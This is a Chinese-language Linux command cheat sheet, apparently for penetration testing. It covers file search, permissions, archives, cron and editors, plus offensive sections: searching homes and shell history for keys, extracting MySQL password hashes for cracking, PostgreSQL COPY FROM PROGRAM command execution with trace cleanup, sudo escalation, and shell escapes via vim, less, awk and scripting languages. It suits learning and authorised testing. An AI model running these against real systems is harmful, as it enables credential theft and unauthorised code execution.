Linux 基础命令与权限速查
文件检索
| Bash |
|---|
| # grep
# -r = 递归读取目录
# -R = 递归读取目录,并且会跟随符号链接
# 递归检索 /home 下文件内容,并输出不包含 test 的行
grep -Rv 'test' /home 2>/dev/null
# 递归检索 /home 下不包含 test 的文件名
grep -RL 'test' /home 2>/dev/null
# 查找 /home 下所有名为 .bashrc 的文件,并在每个文件中检索包含 key 的行
find /home -name .bashrc -exec grep 'key' {} \; 2>/dev/null
# 查找 /home 目录每个文件中 key 的行,并显示文件路径
find /home -type f -exec grep -H 'key' {} \; 2>/dev/null
# 查找 /home 下常见 shell 历史文件
find /home -name '*sh_history' 2>/dev/null
# 有时系统用户不在 /home 目录下,需要排查 /etc/passwd
cat /etc/passwd
grep -A 1 'key' 1.txt # 匹配行后多显示 1 行
grep -B 1 'key' 1.txt # 匹配行前多显示 1 行
grep -C 1 'key' 1.txt # 匹配行前后各显示 1 行
|
Linux 文件/目录权限
| Bash |
|---|
| # 查看文件/目录权限
ls -l
ls -ld
# 例如
ls -ld /tmp
# drwxrwxrwt 1 root root 4096 Apr 23 06:17 /tmp
|
以 /tmp 目录为例,权限字符串 drwxrwxrwt 可拆分为:
| Text Only |
|---|
| 文件类型 | 所有者权限 | 所属组权限 | 其他用户权限
d | rwx | rwx | rwt
|
除了 t 粘滞位,还有 T S s 。
| Bash |
|---|
| # 基础执行权限
rwx
# 第一组 x 位:setuid
rws # 有执行权限,同时设置了 setuid
rwS # 没有执行权限,但设置了 setuid
# 第二组 x 位:setgid
rws # 有执行权限,同时设置了 setgid
rwS # 没有执行权限,但设置了 setgid
# 第三组 x 位:sticky bit
rwt # 有执行权限,同时设置了 sticky bit
rwT # 没有执行权限,但设置了 sticky bit
# user 组的 x 位 -> s/S = setuid
# group 组的 x 位 -> s/S = setgid
# others 组的 x 位 -> t/T = sticky bit
# 用数字表示
4 = setuid
2 = setgid
1 = sticky bit
# 例子
4755 → setuid + 755
2755 → setgid + 755
1777 → sticky bit + 777
|
| Bash |
|---|
| # 例子
-rwsr-xr-x # setuid
-rwxr-sr-x # setgid
drwxrwxrwt # sticky bit
|
- SUID:普通用户执行这个文件时,进程会临时以文件所有者的身份运行。
- SGID:用户执行该文件时,进程会临时以文件所属组的身份运行。
- Sticky Bit:即使目录对所有人可写,普通用户也只能删除自己创建的文件,不能随便删除别人的文件。
文件解压缩处理
zip/unzip
| Bash |
|---|
| # 将 1.txt 压缩为 1.zip
zip 1.zip 1.txt
# 将多个文件压缩为 test.zip
zip test.zip 1.txt 2.txt 3.txt
# 递归压缩目录
zip -r test.zip testdir/
# 解压到当前目录
unzip test.zip
# 解压到指定目录
unzip test.zip -d ./output/
# 查看 zip 内容
unzip -l test.zip
|
7z
| Bash |
|---|
| # 压缩文件
7z a test.7z 1.txt
# 压缩多个文件
7z a test.7z 1.txt 2.txt 3.txt
# 压缩目录
7z a test.7z testdir/
# 解压到当前目录
7z x test.7z
# 解压到指定目录
7z x test.7z -o./output/
# 查看压缩包内容
7z l test.7z
|
tar
| Bash |
|---|
| # tar
# 打包目录
tar -cvf test.tar testdir/
# 解包
tar -xvf test.tar
# tar.gz/
# 打包目录
tar -zcvf test.tar.gz testdir/
# 解包
tar -zxvf test.tar.gz
# tar.bz2
# 打包目录
tar -jcvf test.tar.bz2 testdir/
# 解包
tar -jxvf test.tar.bz2
|
bunzip2
| Bash |
|---|
| # 压缩
bzip2 file.txt
bzip2 -k file.txt # 保留原文件
# 解压
bunzip2 file.txt.bz2
bzip2 -d file.txt.bz2
|
gzip
| Bash |
|---|
| # 查看文件不落地
zcat file.gz
# 压缩
gzip file.txt
gzip -k file.txt # 保留原文件
# 解压
gzip -d file.gz
gunzip file.gz
|
Linux 临时目录
| Bash |
|---|
| /tmp # 重启后很多系统会清空
/var/tmp # 一般不会像 /tmp 那样在重启后立即清空
/dev/shm # 基于内存的临时文件系统
|
Linux 计划任务
| Bash |
|---|
| # 系统计划任务
/etc/crontab
/etc/cron.hourly/
/etc/cron.daily/
/etc/cron.weekly/
/etc/cron.monthly/
/etc/cron.d/
# 当前用户计划任务
crontab -l
# Debian/Ubuntu
/var/spool/cron/crontabs/
# CentOS/RHEL
/var/spool/cron/
|
MySQL 密码提取
| Bash |
|---|
| # MySQL 用户表文件通常位于:
/var/lib/mysql/mysql/
# 老版本 MySQL / MyISAM 可能存在:
user.frm # 表结构文件
user.MYD # 表数据文件
user.MYI # 表索引文件
# 可通过 strings 等方式从 user.MYD 中提取历史密码 hash,再尝试使用 John/Hashcat 破解
strings /var/lib/mysql/mysql/user.MYD 2>/dev/null
|
PostgreSQL RCE
| SQL |
|---|
| # 连接 PostgreSQL
psql -U user -W
# 查看数据库
\l
# 切换数据库
\c databases_name
# 查看表信息
\d
# 查询表信息
select * from users;
# PostgreSQL 9.3+ 支持 COPY FROM PROGRAM
# 通常需要 superuser 权限,或具备 pg_execute_server_program 角色权限
DROP TABLE IF EXISTS cmd_exec; # 删除表,防止已经存在
CREATE TABLE cmd_exec(cmd_output text); # 创建表
COPY cmd_exec FROM PROGRAM 'id'; # 执行命令
SELECT * FROM cmd_exec; # 查看命令回显
DROP TABLE IF EXISTS cmd_exec; # 清理痕迹
|
Sqlite 数据库
| SQL |
|---|
| # 数据库连接
sqlite3 xxx.db
# 查看所有表
.tables
# 查看表内容
select * from users;
|
Sudo 提权
| Bash |
|---|
| # 配置文件
/etc/sudoers
# 格式:
# 用户/用户组 主机=(可切换的用户:可切换的组) 可执行命令
# user 可以在任意主机上,以任意用户身份执行任意命令
user ALL=(ALL) ALL
# sudo 组中的用户,可以在任意主机上,以任意用户、任意组身份执行任意命令
%sudo ALL=(ALL:ALL) ALL
# 查看 sudo 权限
sudo -l
# 通过 -u 指定以 user 用户权限执行 /bin/bash
sudo -u user /bin/bash
|
Vim 基础使用
| Bash |
|---|
| # 打开文件
vim filename
# vim 界面操作
:wq # 保存退出
:wq! # 强制保存退出
:q # 不保存退出,前提是文件未修改
:q! # 强制不保存退出
:r filename # 读取文件内容到当前缓冲区
:!/bin/bash # 执行外部命令
|
Less 基础使用
| Bash |
|---|
| # 打开文件
less filename
ps aux | less
# less 界面操作
:e filename # 读文件
:!/bin/bash # 执行 /bin/bash 命令
|
Awk 基础使用
| Bash |
|---|
| # 读文件
awk '{print $1}' /etc/passwd
# 执行命令
awk 'BEGIN {system("/bin/bash")}'
|
编程语言执行 Shell
| Bash |
|---|
| # perl
perl -e 'exec "/bin/sh"'
# ruby
ruby -e 'exec "/bin/sh"'
# 通过使用 '[COMMAND]' 来执行命令
/usr/bin/ruby -e 'require "irb" ; IRB.start(__FILE__)'
# python
python -c 'import os; os.execl("/bin/sh", "sh")'
# node
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# 代码
var exec = require('child_process').exec;
exec('[COMMAND]', function (error, stdOut, stdErr) {
console.log(stdOut);
});
|